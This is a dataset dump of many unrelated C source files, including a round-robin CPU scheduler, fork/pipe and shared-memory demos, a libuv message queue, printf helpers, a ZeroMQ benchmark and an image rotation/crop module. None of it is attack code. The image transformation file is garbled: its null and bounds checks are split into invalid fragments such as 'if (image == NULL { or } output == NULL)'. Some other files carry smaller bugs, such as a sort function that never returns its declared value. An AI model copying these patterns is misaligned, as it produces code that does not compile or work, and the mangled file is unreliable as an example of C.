language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C | #include <stdio.h>
#include <string.h>
#include "myfs_lib.h"
#include "vdisk.h"
#define BUF_SIZE 500
int main(int argc, char** argv) {
// Fetch the key environment vars
char cwd[MAX_PATH_LENGTH];
char disk_name[MAX_PATH_LENGTH];
unsigned char buf[BUF_SIZE];
myfs_get_environment(cwd, disk_name);
// Open the virtual disk
vdisk_open(disk_name, 0);
if(argc != 3) {
fprintf(stderr, "Usage: myfs_move <SRC> <DEST>\n");
}else{
if(myfs_move(cwd, argv[1], argv[2]) < 0) {
exit(-1);
}
}
// Clean up
vdisk_close();
return(0);
}
|
C | #include<stdio.h>
#include "E:\B.Harish\Sem 4\Os\Lab\CPU Scheduling\circularQueue.h"
#include<stdlib.h>
void enQProcessAtThisTime(int timer,process qcopy[],int n)
{
for(int i=0;i<n;i++)
{
if(qcopy[i].at==timer)
{
enqueue(qcopy[i]);
printf("\nEnqueued P%d Successfully\n",qcopy[i].pid);
}
}
//if match not found return error
//printf("\nProcess not found\n");
}//eselectProcess
int main()
{
int n=6;
printf("\nEnter the no. of processes: \n");
scanf("%d",&n);
init(n);
int timerLimit=0;
int btcopy[n];
int print[100];
process *qcopy=(process *)malloc(n*sizeof(process));
for(int i=0;i<100;i++)
{
print[i]=0;
}
for(int i=0;i<n;i++)
{
process p;
p.pid=i+1;
p.at=i;
printf("\nEnter the bt for P%d: ",i+1);
scanf("%d",&p.bt);
p.btcopy=p.bt;
timerLimit+=p.bt;
//enqueue(p);
qcopy[i]=p;
}
display();
int counter=0;
int quantum=0;
int quantumcopy;
printf("\nEnter the time quantum/slice: ");
scanf("%d",&quantum);
quantumcopy=quantum;
//quantum-=1;
//quantumcopy-=1;
int j=0;
int wt=0,tat=0;
float avgwt=0.0,avgtat=0.0;
process temp;
for(int timer =0;timer<=timerLimit+10;timer++) //Always give some extra timelimit
{
enQProcessAtThisTime(timer,qcopy,n);
j=front; //Most important Step
printf("\n************************** NEXT ITERATION (Timer = %d) ******************************",timer);
if(j<0 || j>=n)
{
continue; //Skip Invalid values, in case something goes wrong or if all processes have completed execution (which gives j= -1)
}
printf("\nProcess Details:\n\tP%d\n\t\tBT: %d\n",q[j].pid,q[j].bt);
if(quantum<=0)
{
quantum=quantumcopy; //resetting quantum
}
if(q[j].bt<=quantum && q[j].bt>0)
{
printf("\nEvaluating: P%d\n",q[j].pid);
while(q[j].bt>0)
{
q[j].bt--;
timer++;
enQProcessAtThisTime(timer,qcopy,n); //After every second if the arrival time of the process matches the timer enqueue it.
print[counter]=q[j].pid;
counter++;
}
quantum=0;
}
else if(q[j].bt>quantum && q[j].bt>0)
{
printf("\nEvaluating: P%d\n",q[j].pid);
while(quantum>0)
{
q[j].bt--;
quantum--;
timer++;
enQProcessAtThisTime(timer,qcopy,n); //After every second if the arrival time of the process matches the timer enqueue it.
print[counter]=q[j].pid;
counter++;
}
}
else
{
//do nothing
}
if(quantum==0 && q[j].bt==0)
{
//waiting time = completion time - bt- at
wt=counter - q[j].btcopy - q[j].at;
avgwt+=wt;
printf("\nWt = %d\nbtcopy = %d\nCounter = %d",wt,q[j].btcopy,counter);
//tat = completion time -at
tat=counter - q[j].at;
avgtat+=tat;
dequeue();
printf("\nLine 1: Timer = %d\nCounter = %d\n",timer,counter);
}
else if(q[j].bt>0)
{
if(quantum==0)
{
dequeue();
temp.at=q[j].at;
temp.bt=q[j].bt;
temp.pid=q[j].pid;
temp.btcopy=q[j].btcopy;
enqueue(temp);
printf("\nEnqueued P%d ",temp.pid);
}
printf("\nLine 2: Timer = %d\nCounter = %d\n",timer,counter);
}
else
{
//do nothing
}
}
//******************************************************************************************************************
//Gant Chart Code below
printf("\n|");
int temp2=99; //give some dummy value >counter
for(int i=0;i<counter;i++)
{
if(temp2!=print[i])
printf("P%d | ",print[i]);
else
continue;
temp2=print[i];
}
temp2=99; //give some dummy value >counter
printf("\n");
for(int i=0;i<counter;i++)
{
if(temp2!=print[i])
printf("%d ",i);
else
continue;
temp2=print[i];
}
printf("%d\n",counter);
printf("\nAvg. Waiting time = %lf\nAvg. Turn-Around time = %lf\n",avgwt/n,avgtat/n);
}//emg
|
C | #include <stdio.h>
char *ft_strdup(char *src);
int main()
{
char str[] = "hieu tran";
printf("%s\n", ft_strdup(str));
return (0);
}
|
C | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
printf("I am %d\n", getpid());
pid_t pid = fork();
printf("fork returned: %d\n", pid);
printf("I am %d\n", getpid());
return 0;
} |
C | //
// LCBXXZDChapterTwoAlgorithmDesignTwelve.c
// DataStructurePractice
//
// Created by ly on 2018/5/17.
// Copyright © 2018年 LY. All rights reserved.
//
#include "LCBXXZDChapterTwoAlgorithmDesignTwelve.h"
LinkList * findCommonTailStoreLocationLinkList(LinkList *first ,LinkList *second) {
LinkList *firstNext = first->next;
LinkList *secondNext = second->next;
int firstLength = 0;
int secondLength = 0 ;
while (firstNext != NULL) {
firstNext = firstNext->next;
firstLength ++;
}
while (secondNext != NULL) {
secondNext = secondNext ->next;
secondLength ++;
}
firstNext = first->next;
secondNext = second->next;
if (firstLength <= secondLength) {
int after = secondLength - firstLength ;
int count = 0;
while (count < after) {
secondNext = secondNext->next ;
count ++;
}
}else{
int after = firstLength - secondLength ;
int count = 0;
while (count < after) {
firstNext = firstNext->next ;
count ++;
}
}
while (secondNext != NULL && firstNext != NULL && firstNext != secondNext) {
firstNext = firstNext ->next;
secondNext = secondNext->next;
}
if (secondNext == NULL) {
return NULL ;
}else{
return firstNext ;
}
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#define INPUT 0
#define OUTPUT 1
int main()
{
int file_descriptors[2];
pid_t pid;
//message to send
char *msg = "I have a dream";
char buf[256];
int read_count;
int result;
//create a pipe
result = pipe(file_descriptors);
//创建管道失败
if (result == -1)
{
perror("Failed to calling pipe");
exit(1);
}
//创建子进程
pid = fork();
if (pid == -1)
{
perror("In the child process...\n");
exit(1);
} else if (pid == 0)
{
printf("In the child process...\n");
close(file_descriptors[INPUT]);
result = write(file_descriptors[OUTPUT], msg, strlen(msg));
if (result == -1)
{
perror("In the child, failed to write into the pipe");
exit(1);
}
close(file_descriptors[OUTPUT]);
exit(0);
} else {
printf("In the parent process...\n");
close(file_descriptors[OUTPUT]);
read_count = read(file_descriptors[INPUT], buf, sizeof(buf));
if (read_count == -1)
{
perror("In parent, file to read");
exit(1);
} else if (read_count == 0)
{
printf("In parnet, 0byte read from pipe\n");
} else {
buf[read_count] = '\0';
printf("%d bytes of data received from spawned process: %s\n", read_count, buf);
}
close(file_descriptors[INPUT]);
}
return (EXIT_SUCCESS);
} |
C | #include <stdio.h>
int main()
{
double a;int b;double c;
printf("Input capital, year:");
scanf("%lf,%d",&c,&b);
char d;
printf("Compound interest (Y/N)?");
scanf(" %c",&d);
switch(b)
{
case 1:a=0.0225;break;
case 2:a=0.0243;break;
case 3:a=0.0270;break;
case 5:a=0.0288;break;
case 8:a=0.0300;break;
default:printf("Error year!");return 0;
}
if(d=='Y'||d=='y')
{
for(int i=1;i<=b;i++)
c*=(1+a);
printf("rate = %.4f, deposit = %.4f\n",a,c);
}
else
{
double x=0;
for(int i=1;i<=b;i++)
x+=c*a;
printf("rate = %.4f, deposit = %.4f\n",a,x+c);
}
}
|
C | #include <mbgl/util/uv-messenger.h>
#include <mbgl/util/queue.h>
#include <stdlib.h>
typedef struct {
void *data;
void *queue[2];
} uv__messenger_item_t;
void uv__messenger_callback(uv_async_t *async) {
uv_messenger_t *msgr = (uv_messenger_t *)async->data;
uv__messenger_item_t *item;
QUEUE *head;
while (1) {
uv_mutex_lock(&msgr->mutex);
if (QUEUE_EMPTY(&msgr->queue)) {
uv_mutex_unlock(&msgr->mutex);
break;
}
head = QUEUE_HEAD(&msgr->queue);
item = QUEUE_DATA(head, uv__messenger_item_t, queue);
QUEUE_REMOVE(head);
uv_mutex_unlock(&msgr->mutex);
msgr->callback(item->data);
free(item);
}
}
int uv_messenger_init(uv_loop_t *loop, uv_messenger_t *msgr, uv_messenger_cb callback) {
int ret = uv_mutex_init(&msgr->mutex);
if (ret < 0) {
return ret;
}
msgr->callback = callback;
QUEUE_INIT(&msgr->queue);
msgr->async.data = msgr;
return uv_async_init(loop, &msgr->async, uv__messenger_callback);
}
void uv_messenger_send(uv_messenger_t *msgr, void *data) {
uv__messenger_item_t *item = (uv__messenger_item_t *)malloc(sizeof(uv__messenger_item_t));
item->data = data;
uv_mutex_lock(&msgr->mutex);
QUEUE_INSERT_TAIL(&msgr->queue, &item->queue);
uv_mutex_unlock(&msgr->mutex);
uv_async_send(&msgr->async);
}
void uv_messenger_ref(uv_messenger_t *msgr) {
uv_ref((uv_handle_t *)&msgr->async);
}
void uv_messenger_unref(uv_messenger_t *msgr) {
uv_unref((uv_handle_t *)&msgr->async);
}
void uv__messenger_stop_callback(uv_handle_t *handle) {
free((uv_messenger_t *)handle->data);
}
void uv_messenger_stop(uv_messenger_t *msgr) {
uv_close((uv_handle_t *)&msgr->async, uv__messenger_stop_callback);
}
|
C | #include <string.h>
#include <stdio.h>
#include "searchd/math-search.h"
#include "codec.h"
#define LINEAR_ARRAY_LEN 1024
#define TEST_NUM 10
#define STRUCT_MEMBERS (sizeof(struct math_score_res) / sizeof(uint32_t))
int main()
{
int i;
size_t res;
struct math_score_res test[TEST_NUM];
uint32_t linear[LINEAR_ARRAY_LEN];
struct codec codecs[] = {{CODEC_PLAIN, NULL},
{CODEC_PLAIN, NULL}, {CODEC_PLAIN, NULL}};
for (i = 0; i < TEST_NUM; i++) {
test[i].doc_id = 123 + i;
test[i].exp_id = 654 + i;
test[i].score = 998 + i;
}
res = encode_struct_arr(linear, test, codecs, TEST_NUM,
sizeof(struct math_score_res));
printf("%lu bytes generated:\n", res);
for (i = 0; i < STRUCT_MEMBERS * TEST_NUM; i++)
printf("%u ", linear[i]);
printf("\n");
memset(test, 0, TEST_NUM * sizeof(struct math_score_res));
res = decode_struct_arr(test, linear, codecs, TEST_NUM,
sizeof(struct math_score_res));
printf("restore %lu bytes back to structure array:\n", res);
for (i = 0; i < TEST_NUM; i++) {
printf("(%u, %u, %u) ", test[i].doc_id,
test[i].exp_id, test[i].score);
}
printf("\n");
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_lstmap.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: sdjeghba <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/11/29 11:34:34 by sdjeghba #+# #+# */
/* Updated: 2016/12/24 21:46:49 by sdjeghba ### ########.fr */
/* */
/* ************************************************************************** */
#include "includes/libft.h"
t_list *ft_lstmap(t_list *lst, t_list *(*f)(t_list *elem))
{
t_list *alist;
t_list *new_list;
t_list *link;
if (!lst || !f)
return (0);
link = f(lst);
new_list = ft_lstnew(link->content, link->content_size);
if (!new_list)
return (0);
alist = new_list;
while (lst->next != NULL)
{
link = f(lst->next);
new_list->next = ft_lstnew(link->content, link->content_size);
if (new_list->next == NULL)
return (0);
new_list = new_list->next;
lst = lst->next;
}
return (alist);
}
|
C | #include<stdio.h>
#include<stdbool.h>
#include<stdlib.h>
#include"helpers.h"
#include<time.h>
int*selection_sort(int input_array[])
{
int length_of_array = 10;
printf("Length of array: %d",length_of_array);
int pointer = 0;
int small;
int iteration = 1;
do
{
small = pointer;
for (int i = pointer +1 ; i < length_of_array; i++)
{
printf("\nvalue of pointer = %d", input_array[pointer]);
printf("\nvalue of iterable = %d", input_array[i]);
printf("\ncomparision value = %d", input_array[pointer] > input_array[i] );
if (input_array[small] > input_array[i] )
small = i;
}
swap(&input_array[pointer],&input_array[small]);
pointer++;
print_array(input_array,"\nIteration -");
}while (pointer <= length_of_array);
print_array(input_array,"\nSorted Array");
}
int main(void)
{
// Calculate the time taken by fun()
clock_t t;
t = clock();
int array_input[10] = {654,999,321,123,987,567,345,947,9,197};
print_array(array_input,"Given Array");
int *array_output = selection_sort(array_input);
t = clock() - t;
double time_taken = ((double)t)/CLOCKS_PER_SEC; // in seconds
printf("\nSelection sort() took %f seconds to execute \n", time_taken);
return 0;
} |
C | //-*-coding:utf-8-*-
//----------------------------------------------------------
// module: shm
//----------------------------------------------------------
#include <stdio.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main(){
const int shared_segment_size = 0x6400;
int segment_id = shmget(IPC_PRIVATE, shared_segment_size,
IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR);
char * shared_memory = (char *) shmat(segment_id, 0, 0);
printf("shared memory attached at :%p\n", shared_memory);
struct shmid_ds shmbuffer;
shmctl(segment_id, IPC_STAT, &shmbuffer);
int segment_size = shmbuffer.shm_segsz;
printf("segment size: %d\n", segment_size);
sprintf(shared_memory, "fuck you, asshole.");
shmdt(shared_memory);
shared_memory = (char*) shmat(segment_id, (void*)0x5000000, 0);
printf("reattached at : %p\n", shared_memory);
printf("%s\n", shared_memory);
shmdt(shared_memory);
shmctl(segment_id, IPC_RMID, 0);
return 0;
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_printf_u1.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: rvegas-j <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/02/22 15:50:11 by rvegas-j #+# #+# */
/* Updated: 2020/02/26 19:15:58 by rvegas-j ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_printf.h"
void ft_printf_u(t_flags *flags)
{
int i;
unsigned int j;
i = 0;
if (!(j = (va_arg(flags->valist, unsigned int))))
j = 0;
if (j < 0)
{
j = j * -1;
flags->minusint = 1;
}
if (j >= 4294967295)
flags->max = 1;
flags->length = ft_numofdigits(j);
if (flags->minus == 1 && flags->zero == 1)
flags->zero = 0;
if (flags->preci == 1)
flags->zero = 0;
ft_printf_u1(flags, j, i);
}
void ft_printf_u1(t_flags *flags, unsigned int j, int i)
{
if (flags->widthbool == 0 && flags->precibool == 0)
{
if (flags->minusint == 1)
ft_writeandbyte(flags);
ft_putnbr_fd_ui(j, flags, 1);
}
ft_printf_u2(flags, j, i);
}
void ft_printf_u2(t_flags *flags, unsigned int j, int i)
{
if (flags->widthbool == 1 && flags->precibool == 0)
{
if (flags->zero == 0)
{
i = flags->width - flags->length - flags->minusint;
if (flags->minus == 0)
{
ft_putblank(i, flags);
if (flags->minusint == 1)
ft_writeandbyte(flags);
ft_putnbr_fd_ui(j, flags, 1);
}
if (flags->minus == 1)
{
if (flags->minusint == 1)
ft_writeandbyte(flags);
ft_putnbr_fd_ui(j, flags, 1);
ft_putblank(i, flags);
}
}
}
ft_printf_u3(flags, j, i);
}
void ft_printf_u3(t_flags *flags, unsigned int j, int i)
{
if (flags->widthbool == 1 && flags->precibool == 0)
{
if (flags->zero == 1)
{
i = flags->width - flags->length - flags->minusint;
if (flags->minusint == 1)
ft_writeandbyte(flags);
ft_putzero(i, flags);
ft_putnbr_fd_ui(j, flags, 1);
}
}
ft_printf_u4(flags, j, i);
}
void ft_printf_u4(t_flags *flags, unsigned int j, int i)
{
if (flags->widthbool == 0 && flags->precibool == 1)
{
i = flags->preci - flags->length;
if (flags->minusint == 1)
ft_writeandbyte(flags);
if (flags->preci != 0)
{
ft_putzero(i, flags);
ft_putnbr_fd_ui(j, flags, 1);
}
if (flags->preci == 0 && j > 0)
ft_putnbr_fd_ui(j, flags, 1);
}
ft_printf_u5(flags, j, i);
}
|
C | /* -*-mode: C; fill-column: 78; c-basic-offset: 4; -*- */
/*
* Copyright 2005 by Eric House ([email protected]). All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
/* Runs a single thread polling for activity on any of the sockets in its
* list. When there is activity, removes the socket from that list and adds
* it ot a queue of socket ready for reading. Starts up a bunch of threads
* waiting on that queue. When a new socket appears, a thread grabs the
* socket, reads from it, passes the buffer on, and puts the socket back in
* the list being read from in our main thread.
*/
#include <vector>
#include <deque>
using namespace std;
class XWThreadPool {
public:
static XWThreadPool* GetTPool();
typedef bool (*packet_func)( unsigned char* buf, int bufLen, int socket );
XWThreadPool();
~XWThreadPool();
void Setup( int nThreads, packet_func pFunc );
void Stop();
/* Add to set being listened on */
void AddSocket( int socket );
/* remove from tpool altogether, and close */
void CloseSocket( int socket );
void Poll();
private:
/* Remove from set being listened on */
bool RemoveSocket( int socket );
void enqueue( int socket );
bool get_process_packet( int socket );
void interrupt_poll();
void* real_tpool_main();
static void* tpool_main( void* closure );
void* real_listener();
static void* listener_main( void* closure );
/* Sockets main thread listens on */
vector<int> m_activeSockets;
pthread_rwlock_t m_activeSocketsRWLock;
/* Sockets waiting for a thread to read 'em */
deque<int> m_queue;
pthread_mutex_t m_queueMutex;
pthread_cond_t m_queueCondVar;
/* for self-write pipe hack */
int m_pipeRead;
int m_pipeWrite;
bool m_timeToDie;
int m_nThreads;
packet_func m_pFunc;
static XWThreadPool* g_instance;
};
|
C | //
// A struct representing a point with a direction
//
#ifndef RUOEG_UTILS_POINT_H_
#define RUOEG_UTILS_POINT_H_
#include "Direction.h"
struct Point
{
Point() : x(0), y(0), dir(Direction::None), x_mod(0), y_mod(0) {};
Point(int x_, int y_) : x(x_), y(y_) {};
int x;
int y;
Direction dir;
// Variables used to modify the prior ones when building a
// connection between features i.e. a door/lit.
int x_mod;
int y_mod;
Point& Point::operator=(Point p)
{
x = p.x;
y = p.y;
return *this;
}
};
#endif // RUOEG_UTILS_POINT_H_ |
C | #ifndef __CASE__H__
#define __CASE__H__
#include <stdio.h>
#include <stdlib.h>
#include "plateau.h"
typedef struct Position {
int ligne;
int colonne;
} Position;
typedef enum Couleur {
ROUGE = 1,
NOIR = 2,
VIDE = 0
} Couleur;
typedef struct Case {
Position pos;
Couleur valeur;
struct Case *lien[6];
} Case;
Case *creer_case(int ligne, int colonne);
void construction_lien_case(Plateau *plateau, Case *x);
// Case modifierCase(Case *caseModifier, Couleur valeur);
// Couleur couleurCase(Case *x);
// Position obtenirCoordonnee(Case *x);
// void supprimerCase(Case *x);
#endif |
C | /*interface*/
#include<stdio.h>
#include<string.h>
/*interface implementation*/
/*client*/
int main() {
int n;
scanf("%d",&n);
int score[2];
score[0]=0;
score[1]=0;
char team[2][10+1];
int nteam=0;
int i;
for(i=0; i<n; i++) {
char name[10+1];
scanf("%s",name);
int j;
int find=0;
for(j=0; j<nteam; j++) {
if(strcmp(name,team[j])==0) {
find=1;
score[j]++;
break;
}
}
if(!find) {
strcpy(team[nteam],name);
nteam++;
}
}
if(nteam==1) printf("%s\n",team[0]);
else if(nteam==2) {
if(score[0]>score[1]) {
printf("%s\n",team[0]);
} else {
printf("%s\n",team[1]);
}
}
return 0;
}
|
C | #include <stdlib.h>
#include <pthread.h>
#include "czmq.h"
#include "util.h"
static void client_task(void *args, zctx_t *ctx, void *pipe)
{
thr_info *info = (thr_info *) args;
const char *connect = info->bind_to;
size_t msg_size = info->msg_size;
int msg_count = info->msg_count;
int perf_type = info->perf_type;
char *buf = (char *) malloc(msg_size+1);
memset(buf, 'a', msg_size);
buf[msg_size] = '\0';
void *client = zsocket_new(ctx, ZMQ_DEALER);
zmq_connect(client, connect);
int i;
INT64 start_ts, end_ts;
get_timestamp(&start_ts);
for (i = 0; i < msg_count; i++) {
int sent = zstr_send(client, buf);
assert(sent == 0);
if (perf_type == LATENCY) {
char *recv_msg = zstr_recv(client);
assert(strlen(recv_msg) == msg_size);
free(recv_msg);
}
}
free(buf);
char *resp = zstr_recv(client);
assert(strcmp(resp, "well") == 0);
free(resp);
get_timestamp(&end_ts);
if (perf_type == THROUGHPUT) {
cal_thr(msg_size, msg_count, end_ts - start_ts);
} else if (perf_type == LATENCY) {
cal_latency(msg_size, msg_count, end_ts - start_ts);
}
zstr_send(pipe, "done");
}
static void *server_task(void *args)
{
zctx_t *ctx = zctx_new();
thr_info *info = (thr_info *) args;
const char *bind_to = info->bind_to;
size_t msg_size = info->msg_size;
int msg_count = info->msg_count;
int perf_type = info->perf_type;
void *server = zsocket_new(ctx, ZMQ_DEALER);
int rc = zsocket_bind(server, "%s", bind_to);
assert(rc != -1);
int req_count = 0;
while (true) {
char *msg = zstr_recv(server);
assert(strlen(msg) == msg_size);
if (perf_type == LATENCY) {
zstr_send(server, msg);
}
free(msg);
req_count++;
if (req_count == msg_count) {
zstr_send(server, "well");
}
}
zctx_destroy(&ctx);
return NULL;
}
void usage()
{
fprintf(stderr, "Usage: ./zmq_req_perf [OPTIONS]\n");
fprintf(stderr, " -b <bind_addr> \tbind point(eg. tcp://127.0.0.1:12345).\n");
fprintf(stderr, " -s <msg_size> \tmessage size in byte\n");
fprintf(stderr, " -c <msg_count> \tmessage count\n");
fprintf(stderr, " -t <test_type> \ttest type: 0 for throughput, 1 for latency\n");
fprintf(stderr, " -h \tOutput this help and exit.\n");
}
int main(int argc, char *argv[])
{
char *bind = strdup("tcp://127.0.0.1:12345");
size_t msg_size = 1024;
int msg_count = 100;
int perf_type = THROUGHPUT;
int opt;
while ((opt = getopt(argc, argv, "b:s:c:t:h")) != -1) {
switch (opt) {
case 'b':
free(bind);
bind = strdup(optarg);
break;
case 's':
msg_size = atoi(optarg);
break;
case 'c':
msg_count = atoi(optarg);
break;
case 't':
perf_type = atoi(optarg);
break;
case 'h':
usage();
exit(EXIT_SUCCESS);
default:
fprintf(stderr, "Try 'zmq_req_perf -h' for more information");
exit(EXIT_FAILURE);
}
}
thr_info *info = (thr_info *) malloc(sizeof(thr_info));
info->bind_to = bind;
info->msg_size = msg_size;
info->msg_count = msg_count;
info->perf_type = perf_type;
zthread_new(server_task, info);
zctx_t *ctx = zctx_new();
void *client = zthread_fork(ctx, client_task, info);
char *signal = zstr_recv(client);
assert(strcmp(signal, "done") == 0);
free(signal);
zctx_destroy(&ctx);
return 0;
}
|
C | #include "bgr_image_transformations.h"
#define PROCESS_MATRIX_ERROR(status) { \
if ((status) != kMatrixOperationOk) { \
if ((status) == kMatrixOperationMemoryError) { \
return kBgrImageTransformationMemoryError; \
} \
return kBgrImageTransformationUnderlyingError; \
} \
}
#define PROCESS_TRANSFORMATION_ERROR(status) { \
if ((status) != kBgrImageTransformationOk) { \
return status; \
} \
}
static struct BgrImageTransformationPoint BgrImageTransformationGetRelativePos(
const struct BgrImage *const image,
struct BgrImageTransformationPoint p) {
const struct BgrImageTransformationPoint kRes = { p.x - (int64_t)image->width / 2,
(int64_t)image->height / 2 - p.y };
return kRes;
}
static struct BgrImageTransformationPoint BgrImageTransformationGetAbsolutePos(const struct BgrImage *const image,
const struct BgrImageTransformationPoint pos) {
const int64_t kAbsPosX = pos.x + (int64_t)(image->width / 2);
const int64_t kAbsPosY = (int64_t)(image->height / 2) - pos.y;
const struct BgrImageTransformationPoint kRes = { kAbsPosX, kAbsPosY };
return kRes;
}
static uint64_t BgrImageTransformationCalculateRotationOutputSideLength(const struct BgrImage *const image) {
const uint64_t kLongestSideOfInput = Max(image->width, image->height);
const double kLengthOfDiagonalAssumingInputIsSquare = (double)kLongestSideOfInput * sqrt(2);
const uint64_t kSideOfOutput = (uint64_t)ceil(kLengthOfDiagonalAssumingInputIsSquare);
return kSideOfOutput;
}
static enum BgrImageTransformationStatus BgrImageTransformationInitializeSquareImage(const uint64_t side,
struct BgrImage *const image) {
image->height = side;
image->width = side;
free(image->pixels);
image->pixels = calloc(side, side * sizeof(struct BgrPixel));
if (image->pixels == NULL) {
return kBgrImageTransformationMemoryError;
}
return kBgrImageTransformationOk;
}
enum BgrImageTransformationStatus BgrImageTransformationCrop(const struct BgrImage *const image,
const struct BgrImageTransformationPoint top_left_corner,
const struct BgrImageTransformationPoint bottom_right_corner,
struct BgrImage *const output) {
if (image == NULL {
or
}
output == NULL) {
return kBgrImageTransformationNullAsInput;
}
if (image == output) {
return kBgrImageTransformationBadInput;
}
{
const uint64_t kOutputHeight = (uint64_t)(bottom_right_corner.y - top_left_corner.y) + 1;
const uint64_t kOutputWidth = (uint64_t)(bottom_right_corner.x - top_left_corner.x) + 1;
output->height = kOutputHeight;
output->width = kOutputWidth;
free(output->pixels);
output->pixels = calloc(Max(kOutputHeight, kOutputWidth),
Min(kOutputHeight, kOutputWidth) * sizeof(struct BgrPixel)); // avoiding overflow
if (output->pixels == NULL) {
return kBgrImageTransformationMemoryError;
}
}
for (uint64_t i = 0; i < output->height; ++i) {
const size_t kCopyFromLineNumber = (size_t)top_left_corner.y + i;
const size_t kCopyFromIdx = kCopyFromLineNumber * image->width + (size_t)top_left_corner.x;
memcpy(&(output->pixels[i * output->width]),
&(image->pixels[kCopyFromIdx]),
output->width * sizeof(struct BgrPixel));
}
return kBgrImageTransformationOk;
}
static enum MatrixOperationStatus BgrImageTransformationGetInverseRotationMatrix(const double radians,
struct Matrix *const output) {
const enum MatrixOperationStatus kStatus = MatrixGet2dRotation(radians, output);
if (kStatus != kMatrixOperationOk) {
return kStatus;
}
MatrixInverseInplace(output);
return kMatrixOperationOk;
}
static enum BgrImageTransformationStatus BgrImageTransformationPointTo2dVector(const struct BgrImageTransformationPoint p,
struct Matrix *const output) {
const enum MatrixOperationStatus kStatus = MatrixSetShape(output, 2, 1);
PROCESS_MATRIX_ERROR(kStatus)
output->data[0][0] = (double)p.x;
output->data[1][0] = (double)p.y;
return kBgrImageTransformationOk;
}
static struct BgrImageTransformationPoint BgrImageTransformation2dVectorToPoint(const struct Matrix *const v) {
const struct BgrImageTransformationPoint kRes = { (int64_t)round(v->data[0][0]), (int64_t)round(v->data[1][0]) };
return kRes;
}
enum BgrImageTransformationStatus BgrImageTransformationRotate(const struct BgrImage *const image,
const double degrees,
const struct BgrPixel filler_pixel,
const bool crop,
struct BgrImage *const output) {
if (image == NULL {
or
}
output == NULL) {
return kBgrImageTransformationNullAsInput;
}
if (image == output) {
return kBgrImageTransformationBadInput;
}
{
const uint64_t kSideOfOutput = BgrImageTransformationCalculateRotationOutputSideLength(image);
const enum BgrImageTransformationStatus kStatus = BgrImageTransformationInitializeSquareImage(kSideOfOutput,
output);
PROCESS_TRANSFORMATION_ERROR(kStatus)
}
struct Matrix inverse_rotation_matrix = { 0 };
{
const enum MatrixOperationStatus kStatus = BgrImageTransformationGetInverseRotationMatrix(DegreesToRadians(degrees),
&inverse_rotation_matrix);
PROCESS_MATRIX_ERROR(kStatus)
}
uint64_t leftmost_position = output->width - 1;
uint64_t rightmost_position = 0;
uint64_t topmost_position = output->height - 1;
uint64_t bottommost_position = 0;
for (uint64_t i = 0; i < output->height; ++i) {
for (uint64_t j = 0; j < output->width; ++j) {
const struct BgrImageTransformationPoint kCurrPoint = { (int64_t)j, (int64_t)i };
const struct BgrImageTransformationPoint
kRelativePosOfCurrPoint = BgrImageTransformationGetRelativePos(output, kCurrPoint);
struct Matrix curr_point_as_vector = { 0 };
{
const enum BgrImageTransformationStatus kStatus = BgrImageTransformationPointTo2dVector(kRelativePosOfCurrPoint,
&curr_point_as_vector);
PROCESS_TRANSFORMATION_ERROR(kStatus)
}
struct Matrix curr_point_as_vector_inverted = { 0 };
{
const enum MatrixOperationStatus kStatus = MatrixMultiply(&inverse_rotation_matrix,
&curr_point_as_vector,
&curr_point_as_vector_inverted);
PROCESS_MATRIX_ERROR(kStatus)
}
const struct BgrImageTransformationPoint
kCurrPointInverted = BgrImageTransformationGetAbsolutePos(image,
BgrImageTransformation2dVectorToPoint(&curr_point_as_vector_inverted));
if (kCurrPointInverted.x < 0 {
or
}
kCurrPointInverted.x >= (int32_t)image->width
or
kCurrPointInverted.y < 0
or
kCurrPointInverted.y >= (int32_t)image->height) {
output->pixels[i * output->width + j] = filler_pixel;
} else {
output->pixels[i * output->width + j] =
image->pixels[(size_t)kCurrPointInverted.y * image->width + (size_t)kCurrPointInverted.x];
leftmost_position = Min(leftmost_position, j);
topmost_position = Min(topmost_position, i);
rightmost_position = Max(rightmost_position, j);
bottommost_position = Max(bottommost_position, i);
}
}
}
if (crop) {
const struct BgrImageTransformationPoint kTopLeftCorner = { (int64_t)leftmost_position, (int64_t)topmost_position };
const struct BgrImageTransformationPoint kBottomRightCorner = { (int64_t)rightmost_position,
(int64_t)bottommost_position };
struct BgrImage cropped_output = { 0 };
{
const enum BgrImageTransformationStatus kStatus = BgrImageTransformationCrop(output,
kTopLeftCorner,
kBottomRightCorner,
&cropped_output);
PROCESS_TRANSFORMATION_ERROR(kStatus)
}
free(output->pixels);
*output = cropped_output;
}
return kBgrImageTransformationOk;
}
#undef PROCESS_MATRIX_ERROR
#undef PROCESS_TRANSFORMATION_ERROR
|
C | #include <stdio.h>
#include <math.h>
int main() {
// In arithmetic operations, numbers has priority from left to right.
printf("Basic Arithmetic Operations\n\n");
int a=10;
int b=-3;
printf("Sum: %d \n", a+b);
printf("Sub: %d \n", a-b);
printf("Product: %d \n", a*b);
printf("Division: %d \n", a/b);
printf("Remainder: %d \n", a%b);
printf("\n\n");
printf("Example : Finding Average of Taken Numbers");
printf("\n");
int x,y,z,d,e;
float average;
printf("Please enter five numbers:\n");
scanf("%d %d %d %d %d", &x,&y,&z,&d,&e);
average = (x+y+z+d+e)/5;
printf("Average: %.2f", average);
return 0;
}
|
